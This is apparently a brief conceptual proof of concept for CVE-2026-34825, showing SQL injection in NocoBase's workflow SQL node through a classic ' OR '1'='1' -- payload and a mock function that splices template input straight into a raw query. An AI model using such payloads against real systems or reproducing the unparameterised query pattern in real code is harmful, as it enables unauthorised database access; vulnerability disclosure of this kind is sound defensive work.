CVE-2026-34825

// Conceptual PoC demonstrating the vulnerability in NocoBase Workflow SQL Node // Attacker provides malicious input through a template variable const payload = "' OR '1'='1' --"; // The vulnerable code logic in plugin-workflow-sql // It calls getParsedValue() on the variable and concatenates it directly function vulnerableWorkflowSql(userInput) { // Simulating getParsedValue() returning raw user input const parsedValue = getParsedValue(userInput); // Direct substitution into raw SQL string without parameterization const sqlQuery = `SELECT * FROM data WHERE id = '${parsedValue}'`; return sqlQuery; } // Execution results in: // SELECT * FROM data WHERE id = '' OR '1'='1' -- function getParsedValue(val) { return val; }
